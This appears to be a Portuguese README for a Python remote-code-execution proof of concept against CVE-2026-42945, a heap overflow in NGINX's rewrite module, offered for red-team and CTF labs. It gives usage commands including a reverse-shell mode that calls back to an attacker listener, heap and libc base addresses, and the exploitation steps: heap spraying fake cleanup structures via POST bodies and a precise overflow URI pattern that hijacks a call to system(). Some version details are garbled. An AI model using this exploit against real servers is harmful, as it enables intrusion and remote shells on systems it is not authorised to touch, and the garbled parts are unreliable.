Python RCE PoC com ouvinte de reverse shell para CVE-2026-42945 (NGINX Rift)
Prova de conceito de execução remota de código para CVE-2026-42945, um estouro de buffer de heap no ngx_http_rewrite_module do NGINX. Este fork estende o PoC de gatilho público com um ouvinte de reverse shell embutido e parâmetros de exploração configuráveis para CTF e ambientes de laboratório isolados.
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / ; NGINX Plus , , 1.31.0R36 P4R35 P2R32 P6is_args = 0, enquanto a passagem de cópia é executada no mecanismo principal com is_args = 1, invocando ngx_escape_uri(..., NGX_ESCAPE_ARGS). Bytes escapáveis se expandem para 3 bytes cada, transbordando um buffer de heap subdimensionado com dados URI controlados pelo atacante.rewrite/set vulnerável usando capturas PCRE sem nome ($1, $2) mais ? na string de substituição; ASLR desabilitado ou endereços base de heap/libc conhecidos; capacidade de pulverizar o heap via corpos de POST.| Arquivo | Descrição |
|---|---|
cve_2026_42945_rce_poc.py | Exploit em Python com ouvinte de reverse shell embutido e modos de execução de comandos. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s falsa: system@libc | ponteiro para o comando | null. Esses corpos ocupam locais estáveis do heap.rewrite vulnerável. O padrão URI é:
/api/<349 x 'A'><969 x '+'><6-byte heap address>
cleanup de um ngx_pool_t adjacente.cleanup corrompido invoca system(comando), executando o comando controlado pelo atacante dentro do processo worker do NGINX.--shell for usado, o comando é um payload de reverse shell e o ouvinte embutido captura a conexão de entrada.Esta ferramenta destina-se a:
Não use em sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
Use por sua conta e risco. O autor não é responsável pelo uso não autorizado ou ilegal.
Pesquisa de vulnerabilidade original e PoC por depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Este fork de reverse shell em Python foi criado para uso em laboratório de equipe vermelha / CTF.